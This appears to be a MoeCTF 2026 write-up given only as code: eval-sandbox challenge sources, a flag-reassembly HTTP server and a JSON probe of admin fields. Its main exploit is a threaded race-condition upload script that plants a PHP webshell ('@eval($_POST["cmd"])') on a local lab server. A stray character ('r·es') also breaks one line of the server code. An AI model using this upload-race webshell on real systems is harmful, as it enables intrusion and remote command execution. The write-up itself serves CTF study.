MoeCTF 2026 Writeup

1
import time
2

3
class Random:
4
    _P = 1000000021
5
    _A = 320560990
6
    _BASE = 123456789 % _P
7
    def __init__(self, seed=0):
8
        self.state = (self._BASE * pow(self._A, seed % 60, self._P)) % self._P
9

10
    def random(self, mod):
11
        self.state = (self.state * self._A) % self._P
12
        return self.state % mod + 1
13

14
def chall():
15
    MOD = 15
16
    seed = int(time.time())
17
    r = Random(seed)
18
    gift = [r.random(MOD) for _ in range(3)]
19
    print("Wlecome to the word of mathmagic!")
20
    print("I hope you like the puzzle I prepared for you.")
21
    print('I will give you a gift!')
22
    print('I hope you like it. Here is your gift:')
23
    print(gift)
24
    print("Now, I will give you the puzzle!")
25
    print("Have fun!")
26
    CODE = ''
27

28
    while code:=input('>> ').strip():
29
        if len(code) != r.random(MOD):
30
            raise ValueError("Invalid code length! You are not a genius!")
31
        CODE += code + '\n'
32
    print("Good job! You are a genius!")
33
    eval(CODE,{'__builtins__': {}})

1
def chall():
2
    safe_globals={
3
        'open':open,
4
        '__builtins__' : {}
5
    }
6

7
    blacklist = ['_','.','\\']
8
    while True:
9
        try:
10
            message = input('Give me your code: ').encode('ascii').decode('ascii')
11
            if any(b in blacklist for b in message):
12
                raise RuntimeError('Can\'t input any characters in blacklist')
13
            eval(message,safe_globals)
14
        except Exception as e:
15
            print(f'{type(e).__name__} : {e}')

1
import asyncio
2

3
frags = set()
4
lock = asyncio.Lock()
5

6
def solve_scs(fragments: list[str]) -> tuple[str, bool]:
7
    """
8
    Shortest Common Superstring solver.
9

10
    Args:
11
        fragments: 碎片列表（可含重复）
12
    Returns:
13
        (result, is_success)
14
        - result: 还原后的字符串
15
        - is_success: True = 贪心结果唯一可信；False = 存在歧义或碎片不连续
16
    """
17

18
    from itertools import permutations
19

20
    # 1. 去重 + 去冗余（被其他片段包含的直接丢弃）
21
    frags = list(dict.fromkeys(fragments))           # 去重，保序
22
    frags = [
23
        f for f in frags
24
        if not any(f in g for g in frags if g != f)
25
    ]
26

27
    if not frags:
28
        return ("", False)
29
    if len(frags) == 1:
30
        return (frags[0], True)
31

32
    def max_overlap(a: str, b: str) -> int:
33
        """a 的后缀与 b 的前缀的最大重叠长度"""
34
        limit = min(len(a), len(b))
35
        for ol in range(limit, 0, -1):
36
            if a.endswith(b[:ol]):
37
                return ol
38
        return 0
39

40
    def greedy_merge(pool: list[str]) -> str:
41
        """贪心：每轮合并重叠最大的一对"""
42
        pool = pool[:]
43
        while len(pool) > 1:
44
            best_ol, bi, bj = -1, 0, 1
45
            for i in range(len(pool)):
46
                for j in range(len(pool)):
47
                    if i == j:
48
                        continue
49
                    ol = max_overlap(pool[i], pool[j])
50
                    if ol > best_ol:
51
                        best_ol, bi, bj = ol, i, j
52
            merged = pool[bi] + pool[bj][best_ol:]
53
            pool = [merged] + [pool[k] for k in range(len(pool)) if k not in (bi, bj)]
54
        return pool[0]
55

56
    # 2. 片段数量少时用暴力
57
    #    片段数量多时用贪心
58
    EXACT_THRESHOLD = 8
59

60
    if len(frags) <= EXACT_THRESHOLD:
61
        # 枚举所有排列，找真正最短的公共超串
62
        best: str | None = None
63
        for perm in permutations(frags):
64
            # 按排列顺序依次合并
65
            cur = perm[0]
66
            for nxt in perm[1:]:
67
                ol = max_overlap(cur, nxt)
68
                cur += nxt[ol:]
69
            if best is None or len(cur) < len(best):
70
                best = cur
71

72
        # 检查贪心结果是否与精确结果一致
73
        greedy_result = greedy_merge(frags)
74
        is_success = (greedy_result == best)
75
        return (best, is_success)     # type: ignore[return-value]
76

77
    else:
78
        # 片段太多，只跑贪心
79
        result = greedy_merge(frags)
80
        is_success = all(f in result for f in frags)
81
        return (result, is_success)
82

83
async def handle(reader, writer):
84
    data = await reader.readuntil(b'\r\n\r\n')
85
    text = data.decode('utf-8')
86

87
    content_length = 0
88
    for line in text.split('\r\n'):
89
        if line.startswith('Content-Length:'):
90
            content_length = int(line.split(':')[1].strip())
91
            break
92
    try:
93
        body = await reader.readexactly(content_length) if content_length > 0 else b''
94
    except Exception as e:
95
        print(f'Error reading request: {e}')
96
        writer.close()
97
        await writer.wait_closed()
98
        return
99

100
    async with lock:    # 注意这里要加锁
101
        frags.add(body.decode('utf-8'))
102
        res = solve_scs(list(frags))
103
        if res[0].startswith('moectf{') and res[0].endswith('}'):
104
            print(f'Found the flag: {r·es[0]}')
105

106
    writer.write(b'HTTP/1.1 200 OK\r\n\r\n')
107
    await writer.drain()
108
    writer.close()
109
    await writer.wait_closed()
110

111
async def main():
112
    server = await asyncio.start_server(handle, '0.0.0.0', 3000)
113
    print('Server running on http://0.0.0.0:3000')
114
    await server.serve_forever()
115

116
asyncio.run(main())

1
import requests
2
import threading
3
import time
4

5
BASE_URL = "http://127.0.0.1:1883"
6
SEND_PATH = "/submit"
7
GET_PATH = "/private/a.php"
8
THREAD_COUNT = 20
9

10
PAYLOAD = "<?php file_put_contents('ckk.php', '<?php @eval($_POST[\"cmd\"]); ?>'); echo 'Mamba out!'; ?>"
11
files = {'file': ('a.php', PAYLOAD, 'application/x-php')}
12

13
stop_event = threading.Event()
14

15
def send_payload():
16
    while not stop_event.is_set():
17
        try:
18
            response = requests.post(BASE_URL + SEND_PATH, files=files, timeout=1)
19
            time.sleep(0.01)
20
        except Exception as e:
21
            pass
22

23
def get_shell():
24
    while not stop_event.is_set():
25
        try:
26
            res = requests.get(BASE_URL + GET_PATH, timeout=1)
27
            if res.status_code == 200 and "Mamba out!" in res.text:
28
                print("Shell obtained!")
29
                stop_event.set()
30
                return
31
            else:
32
                pass
33
        except Exception as e:
34
            pass
35
        time.sleep(0.01)
36

37
if __name__ == "__main__":
38
    threads = []
39
    for _ in range(THREAD_COUNT):
40
        t = threading.Thread(target=send_payload)
41
        threads.append(t)
42
        t.start()
43

44
    get_shell()
45

46
    for t in threads:
47
        t.join(timeout = 1)
48

49
    print("All threads have finished.")

1
{
2
  "ok": true,
3
  "profile": {
4
    "profile": {
5
      "nickname": "guest"
6
    },
7
    "theme": {
8
      "color": "blue"
9
    }
10
  },
11
  "inheritedProbe": {
12
    "isAdmin": null,
13
    "canReadFlag": null
14
  }
15
}